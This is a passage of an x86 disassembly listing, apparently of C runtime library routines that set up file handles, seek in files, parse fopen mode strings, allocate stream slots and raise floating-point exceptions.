loc_42F6AE:				; CODE XREF: sub_42F523+12Bj
					; sub_42F523+172j
		mov	byte ptr [ebx],	0Ah
		jmp	short loc_42F6CB
; ---------------------------------------------------------------------------


loc_42F6B3:				; CODE XREF: sub_42F523+183j
					; sub_42F523+189j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42F91D
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_42F6CC


loc_42F6C8:				; CODE XREF: sub_42F523+15Cj
					; sub_42F523+162j
		mov	byte ptr [ebx],	0Dh


loc_42F6CB:				; CODE XREF: sub_42F523+18Ej
		inc	ebx


loc_42F6CC:				; CODE XREF: sub_42F523+113j
					; sub_42F523+134j ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_42F61F
		jmp	short loc_42F6EA
; ---------------------------------------------------------------------------


loc_42F6DA:				; CODE XREF: sub_42F523+103j
		mov	eax, [edi]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_42F6EA
		or	al, 2
		mov	[esi], al


loc_42F6EA:				; CODE XREF: sub_42F523+F6j
					; sub_42F523+1B5j ...
		sub	ebx, [ebp+arg_4]
		mov	[ebp+var_8], ebx


loc_42F6F0:				; CODE XREF: sub_42F523+CFj
		mov	eax, [ebp+var_8]
		jmp	short loc_42F6F7
; ---------------------------------------------------------------------------


loc_42F6F5:				; CODE XREF: sub_42F523+16j
					; sub_42F523+43j ...
		xor	eax, eax


loc_42F6F7:				; CODE XREF: sub_42F523+B8j
					; sub_42F523+1D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42F523	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F6FC	proc near		; CODE XREF: .text:0042C5F5p

var_48		= byte ptr -48h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		push	480h
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_42F71E
		push	1Bh
		call	sub_42C67C
		pop	ecx


loc_42F71E:				; CODE XREF: sub_42F6FC+18j
		mov	dword_676EE0, esi
		mov	dword_676FE0, 20h
		lea	eax, [esi+480h]


loc_42F734:				; CODE XREF: sub_42F6FC+58j
		cmp	esi, eax
		jnb	short loc_42F756
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		and	dword ptr [esi+8], 0
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_676EE0
		add	esi, 24h
		add	eax, 480h
		jmp	short loc_42F734
; ---------------------------------------------------------------------------


loc_42F756:				; CODE XREF: sub_42F6FC+3Aj
		lea	eax, [ebp+var_48]
		push	eax
		call	dword_437238	; GetStartupInfoA
		cmp	[ebp+var_16], 0
		jz	loc_42F83C
		mov	eax, [ebp+var_14]
		test	eax, eax
		jz	loc_42F83C
		mov	edi, [eax]
		lea	ebx, [eax+4]
		lea	eax, [ebx+edi]
		mov	[ebp+var_4], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_42F78C
		mov	edi, eax


loc_42F78C:				; CODE XREF: sub_42F6FC+8Cj
		cmp	dword_676FE0, edi
		jge	short loc_42F7EA
		mov	esi, offset dword_676EE4


loc_42F799:				; CODE XREF: sub_42F6FC+E4j
		push	480h
		call	sub_4297B8
		test	eax, eax
		pop	ecx
		jz	short loc_42F7E4
		add	dword_676FE0, 20h
		mov	[esi], eax
		lea	ecx, [eax+480h]


loc_42F7B7:				; CODE XREF: sub_42F6FC+D9j
		cmp	eax, ecx
		jnb	short loc_42F7D7
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [esi]
		add	eax, 24h
		add	ecx, 480h
		jmp	short loc_42F7B7
; ---------------------------------------------------------------------------


loc_42F7D7:				; CODE XREF: sub_42F6FC+BDj
		add	esi, 4
		cmp	dword_676FE0, edi
		jl	short loc_42F799
		jmp	short loc_42F7EA
; ---------------------------------------------------------------------------


loc_42F7E4:				; CODE XREF: sub_42F6FC+AAj
		mov	edi, dword_676FE0


loc_42F7EA:				; CODE XREF: sub_42F6FC+96j
					; sub_42F6FC+E6j
		xor	esi, esi
		test	edi, edi
		jle	short loc_42F83C


loc_42F7F0:				; CODE XREF: sub_42F6FC+13Ej
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_42F832
		mov	al, [ebx]
		test	al, 1
		jz	short loc_42F832
		test	al, 8
		jnz	short loc_42F80F
		push	ecx
		call	dword_4371F4	; GetFileType
		test	eax, eax
		jz	short loc_42F832


loc_42F80F:				; CODE XREF: sub_42F6FC+106j
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_676EE0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		mov	ecx, [ebp+var_4]
		mov	ecx, [ecx]
		mov	[eax], ecx
		mov	cl, [ebx]
		mov	[eax+4], cl


loc_42F832:				; CODE XREF: sub_42F6FC+FCj
					; sub_42F6FC+102j ...
		add	[ebp+var_4], 4
		inc	esi
		inc	ebx
		cmp	esi, edi
		jl	short loc_42F7F0


loc_42F83C:				; CODE XREF: sub_42F6FC+69j
					; sub_42F6FC+74j ...
		xor	ebx, ebx


loc_42F83E:				; CODE XREF: sub_42F6FC+1A9j
		mov	ecx, dword_676EE0
		lea	eax, [ebx+ebx*8]
		cmp	dword ptr [ecx+eax*4], 0FFFFFFFFh
		lea	esi, [ecx+eax*4]
		jnz	short loc_42F89D
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42F85D
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_42F867
; ---------------------------------------------------------------------------


loc_42F85D:				; CODE XREF: sub_42F6FC+15Aj
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_42F867:				; CODE XREF: sub_42F6FC+15Fj
		push	eax
		call	dword_437200	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42F88C
		push	edi
		call	dword_4371F4	; GetFileType
		test	eax, eax
		jz	short loc_42F88C
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_42F892


loc_42F88C:				; CODE XREF: sub_42F6FC+177j
					; sub_42F6FC+182j
		or	byte ptr [esi+4], 40h
		jmp	short loc_42F8A1
; ---------------------------------------------------------------------------


loc_42F892:				; CODE XREF: sub_42F6FC+18Ej
		cmp	eax, 3
		jnz	short loc_42F8A1
		or	byte ptr [esi+4], 8
		jmp	short loc_42F8A1
; ---------------------------------------------------------------------------


loc_42F89D:				; CODE XREF: sub_42F6FC+152j
		or	byte ptr [esi+4], 80h


loc_42F8A1:				; CODE XREF: sub_42F6FC+194j
					; sub_42F6FC+199j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_42F83E
		push	dword_676FE0
		call	dword_437204	; SetHandleCount
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42F6FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F8B8	proc near		; CODE XREF: sub_42A2C1+20p
					; sub_42A2C1+EBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	esi, dword_676FE0
		jnb	short loc_42F905
		mov	ecx, esi
		mov	eax, esi
		sar	ecx, 5
		and	eax, 1Fh
		mov	ecx, dword_676EE0[ecx*4]
		lea	eax, [eax+eax*8]
		test	byte ptr [ecx+eax*4+4],	1
		jz	short loc_42F905
		push	edi
		push	esi
		call	sub_43241B
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	esi
		call	sub_42F91D
		push	esi
		mov	edi, eax
		call	sub_43247A
		add	esp, 14h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F905:				; CODE XREF: sub_42F8B8+Bj
					; sub_42F8B8+26j
		call	sub_42F119
		mov	dword ptr [eax], 9
		call	sub_42F122
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_42F8B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F91D	proc near		; CODE XREF: sub_42F523+197p
					; sub_42F8B8+38p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		call	sub_4323D9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42F93C
		call	sub_42F119
		mov	dword ptr [eax], 9
		jmp	short loc_42F969
; ---------------------------------------------------------------------------


loc_42F93C:				; CODE XREF: sub_42F91D+10j
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	dword_4370BC	; SetFilePointer
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F95C
		call	dword_437170	; RtlGetLastWin32Error
		jmp	short loc_42F95E
; ---------------------------------------------------------------------------


loc_42F95C:				; CODE XREF: sub_42F91D+35j
		xor	eax, eax


loc_42F95E:				; CODE XREF: sub_42F91D+3Dj
		test	eax, eax
		jz	short loc_42F96E
		push	eax
		call	sub_42F0A6
		pop	ecx


loc_42F969:				; CODE XREF: sub_42F91D+1Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42F98D
; ---------------------------------------------------------------------------


loc_42F96E:				; CODE XREF: sub_42F91D+43j
		mov	ecx, esi
		and	esi, 1Fh
		sar	ecx, 5
		mov	eax, esi
		mov	ecx, dword_676EE0[ecx*4]
		lea	eax, [eax+eax*8]
		and	byte ptr [ecx+eax*4+4],	0FDh
		lea	eax, [ecx+eax*4+4]
		mov	eax, edi


loc_42F98D:				; CODE XREF: sub_42F91D+4Fj
		pop	edi
		pop	esi
		retn
sub_42F91D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F990	proc near		; CODE XREF: sub_42A4DB+1Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_676B34
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_42F9C9
		cmp	al, 72h
		jz	short loc_42F9C2
		cmp	al, 77h
		jnz	loc_42FADD
		mov	ecx, 301h
		jmp	short loc_42F9CE
; ---------------------------------------------------------------------------


loc_42F9C2:				; CODE XREF: sub_42F990+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_42F9D1
; ---------------------------------------------------------------------------


loc_42F9C9:				; CODE XREF: sub_42F990+1Dj
		mov	ecx, 109h


loc_42F9CE:				; CODE XREF: sub_42F990+30j
		or	esi, 2


loc_42F9D1:				; CODE XREF: sub_42F990+37j
		push	1
		pop	edx


loc_42F9D4:				; CODE XREF: sub_42F990+8Bj
					; sub_42F990+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_42FAC3
		cmp	edx, ebx
		jz	loc_42FAC3
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_42FA62
		jz	short loc_42FA52
		sub	eax, 2Bh
		jz	short loc_42FA3C
		sub	eax, 19h
		jz	short loc_42FA32
		sub	eax, 0Eh
		jz	short loc_42FA1D
		dec	eax
		jnz	loc_42FAB4
		cmp	[ebp+var_4], ebx
		jnz	loc_42FAB4
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FA1D:				; CODE XREF: sub_42F990+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_42FAB4
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FA32:				; CODE XREF: sub_42F990+6Aj
		test	cl, 40h
		jnz	short loc_42FAB4
		or	ecx, 40h
		jmp	short loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FA3C:				; CODE XREF: sub_42F990+65j
		test	cl, 2
		jnz	short loc_42FAB4
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FA52:				; CODE XREF: sub_42F990+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_42FAB4
		or	ecx, eax
		jmp	loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FA62:				; CODE XREF: sub_42F990+5Ej
		sub	eax, 62h
		jz	short loc_42FAAF
		dec	eax
		jz	short loc_42FA98
		sub	eax, 0Bh
		jz	short loc_42FA81
		sub	eax, 6
		jnz	short loc_42FAB4
		test	ch, 0C0h
		jnz	short loc_42FAB4
		or	ch, 40h
		jmp	loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FA81:				; CODE XREF: sub_42F990+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_42FAB4
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FA98:				; CODE XREF: sub_42F990+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_42FAB4
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FAAF:				; CODE XREF: sub_42F990+D5j
		test	ch, 0C0h
		jz	short loc_42FABB


loc_42FAB4:				; CODE XREF: sub_42F990+72j
					; sub_42F990+7Bj ...
		xor	edx, edx
		jmp	loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FABB:				; CODE XREF: sub_42F990+122j
		or	ch, 80h
		jmp	loc_42F9D4
; ---------------------------------------------------------------------------


loc_42FAC3:				; CODE XREF: sub_42F990+4Aj
					; sub_42F990+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_4336B9
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_42FAE1


loc_42FADD:				; CODE XREF: sub_42F990+25j
		xor	eax, eax
		jmp	short loc_42FAFB
; ---------------------------------------------------------------------------


loc_42FAE1:				; CODE XREF: sub_42F990+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_676920
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_42FAFB:				; CODE XREF: sub_42F990+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42F990	endp


; =============== S U B	R O U T	I N E =======================================



sub_42FB00	proc near		; CODE XREF: sub_42A4DB+1p
		push	ebx
		push	esi
		push	edi
		push	2
		xor	ebx, ebx
		xor	edi, edi
		call	sub_42DAEF
		xor	esi, esi
		cmp	dword_678020, ebx
		pop	ecx
		jle	loc_42FBBA


loc_42FB1D:				; CODE XREF: sub_42FB00+57j
		mov	eax, dword_67700C
		mov	eax, [eax+esi*4]
		cmp	eax, ebx
		jz	short loc_42FB60
		test	byte ptr [eax+0Ch], 83h
		jnz	short loc_42FB50
		push	eax
		push	esi
		call	sub_42C203
		pop	ecx
		pop	ecx
		mov	ecx, dword_67700C
		mov	eax, [ecx+esi*4]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_42FB5B
		push	eax
		push	esi
		call	sub_42C255
		pop	ecx
		pop	ecx


loc_42FB50:				; CODE XREF: sub_42FB00+2Dj
		inc	esi
		cmp	esi, dword_678020
		jl	short loc_42FB1D
		jmp	short loc_42FBBA
; ---------------------------------------------------------------------------


loc_42FB5B:				; CODE XREF: sub_42FB00+45j
		mov	edi, [ecx+esi*4]
		jmp	short loc_42FBA4
; ---------------------------------------------------------------------------


loc_42FB60:				; CODE XREF: sub_42FB00+27j
		push	38h
		shl	esi, 2
		call	sub_4297B8
		pop	ecx
		mov	ecx, dword_67700C
		mov	[esi+ecx], eax
		mov	eax, dword_67700C
		mov	eax, [esi+eax]
		cmp	eax, ebx
		jz	short loc_42FBBA
		add	eax, 20h
		push	eax
		call	dword_437158	; InitializeCriticalSection
		mov	eax, dword_67700C
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	dword_4370CC	; RtlEnterCriticalSection
		mov	eax, dword_67700C
		mov	edi, [esi+eax]


loc_42FBA4:				; CODE XREF: sub_42FB00+5Ej
		cmp	edi, ebx
		jz	short loc_42FBBA
		or	dword ptr [edi+10h], 0FFFFFFFFh
		mov	[edi+4], ebx
		mov	[edi+0Ch], ebx
		mov	[edi+8], ebx
		mov	[edi], ebx
		mov	[edi+1Ch], ebx


loc_42FBBA:				; CODE XREF: sub_42FB00+17j
					; sub_42FB00+59j ...
		push	2
		call	sub_42DB50
		pop	ecx
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42FB00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42FBC8(int, double, int)

sub_42FBC8	proc near		; CODE XREF: sub_42A706+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_453B20, 0
		jnz	short loc_42FBFD
		push	[ebp+arg_C]	; int
		fld	[ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	[ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_43017E
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42FBFD:				; CODE XREF: sub_42FBC8+Aj
		call	sub_42F119
		push	0FFFFh
		mov	dword ptr [eax], 21h
		push	[ebp+arg_C]
		call	sub_4303F3
		fld	[ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_42FBC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42FC1C(int, int, double, double, int)

sub_42FC1C	proc near		; CODE XREF: sub_42A706:loc_42A7C9p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42FF67
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42FC5A
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_42FCB4
		add	esp, 18h


loc_42FC5A:				; CODE XREF: sub_42FC1C+1Aj
		push	[ebp+arg_0]
		call	sub_430253
		cmp	dword_453B20, 0
		pop	ecx
		jnz	short loc_42FC98
		test	eax, eax
		jz	short loc_42FC98
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_43017E
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42FC98:				; CODE XREF: sub_42FC1C+4Ej
					; sub_42FC1C+52j
		push	eax
		call	sub_430206
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4303F3
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_42FC1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42FCB4	proc near		; CODE XREF: sub_42FC1C+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_42FCE6
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_42FCE6:				; CODE XREF: sub_42FCB4+23j
		test	cl, 2
		jz	short loc_42FCF9
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_42FCF9:				; CODE XREF: sub_42FCB4+35j
		test	cl, bl
		jz	short loc_42FD0B
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_42FD0B:				; CODE XREF: sub_42FCB4+47j
		test	cl, 4
		jz	short loc_42FD1E
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_42FD1E:				; CODE XREF: sub_42FCB4+5Aj
		test	cl, 8
		jz	short loc_42FD31
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_42FD31:				; CODE XREF: sub_42FCB4+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4303D6
		test	al, bl
		jz	short loc_42FDBA
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_42FDBA:				; CODE XREF: sub_42FCB4+FDj
		test	al, 4
		jz	short loc_42FDC5
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_42FDC5:				; CODE XREF: sub_42FCB4+108j
		test	al, 8
		jz	short loc_42FDD0
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_42FDD0:				; CODE XREF: sub_42FCB4+113j
		test	al, 10h
		jz	short loc_42FDDA
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_42FDDA:				; CODE XREF: sub_42FCB4+11Ej
		test	al, 20h
		jz	short loc_42FDE4
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_42FDE4:				; CODE XREF: sub_42FCB4+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42FE23
		cmp	eax, 400h
		jz	short loc_42FE15
		cmp	eax, 800h
		jz	short loc_42FE09
		cmp	eax, ecx
		jnz	short loc_42FE29
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_42FE29
; ---------------------------------------------------------------------------


loc_42FE09:				; CODE XREF: sub_42FCB4+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_42FE1F
; ---------------------------------------------------------------------------


loc_42FE15:				; CODE XREF: sub_42FCB4+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_42FE1F:				; CODE XREF: sub_42FCB4+15Fj
		mov	[eax], ecx
		jmp	short loc_42FE29
; ---------------------------------------------------------------------------


loc_42FE23:				; CODE XREF: sub_42FCB4+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_42FE29:				; CODE XREF: sub_42FCB4+14Bj
					; sub_42FCB4+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42FE54
		cmp	eax, 200h
		jz	short loc_42FE47
		cmp	eax, ecx
		jnz	short loc_42FE61
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_42FE61
; ---------------------------------------------------------------------------


loc_42FE47:				; CODE XREF: sub_42FCB4+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_42FE5F
; ---------------------------------------------------------------------------


loc_42FE54:				; CODE XREF: sub_42FCB4+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_42FE5F:				; CODE XREF: sub_42FCB4+19Ej
		mov	[eax], ecx


loc_42FE61:				; CODE XREF: sub_42FCB4+189j
					; sub_42FCB4+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4303E4
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	dword_437234	; RaiseException
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_42FEDB
		and	dword ptr [esi], 0FFFFFFFEh


loc_42FEDB:				; CODE XREF: sub_42FCB4+222j
		test	byte ptr [eax+8], 8
		jz	short loc_42FEE4
		and	dword ptr [esi], 0FFFFFFFBh


loc_42FEE4:				; CODE XREF: sub_42FCB4+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_42FEED
		and	dword ptr [esi], 0FFFFFFF7h


loc_42FEED:				; CODE XREF: sub_42FCB4+234j
		test	byte ptr [eax+8], 2
		jz	short loc_42FEF6
		and	dword ptr [esi], 0FFFFFFEFh


loc_42FEF6:				; CODE XREF: sub_42FCB4+23Dj
		test	[eax+8], bl
		jz	short loc_42FEFE
		and	dword ptr [esi], 0FFFFFFDFh


loc_42FEFE:				; CODE XREF: sub_42FCB4+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42FF32
		dec	ecx
		jz	short loc_42FF26
		dec	ecx
		jz	short loc_42FF1C
		dec	ecx
		jnz	short loc_42FF34
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42FF34
; ---------------------------------------------------------------------------


loc_42FF1C:				; CODE XREF: sub_42FCB4+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_42FF2E
; ---------------------------------------------------------------------------


loc_42FF26:				; CODE XREF: sub_42FCB4+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_42FF2E:				; CODE XREF: sub_42FCB4+270j
		mov	[esi], ecx
		jmp	short loc_42FF34
; ---------------------------------------------------------------------------


loc_42FF32:				; CODE XREF: sub_42FCB4+257j
		and	[esi], edx


loc_42FF34:				; CODE XREF: sub_42FCB4+260j
					; sub_42FCB4+266j ...
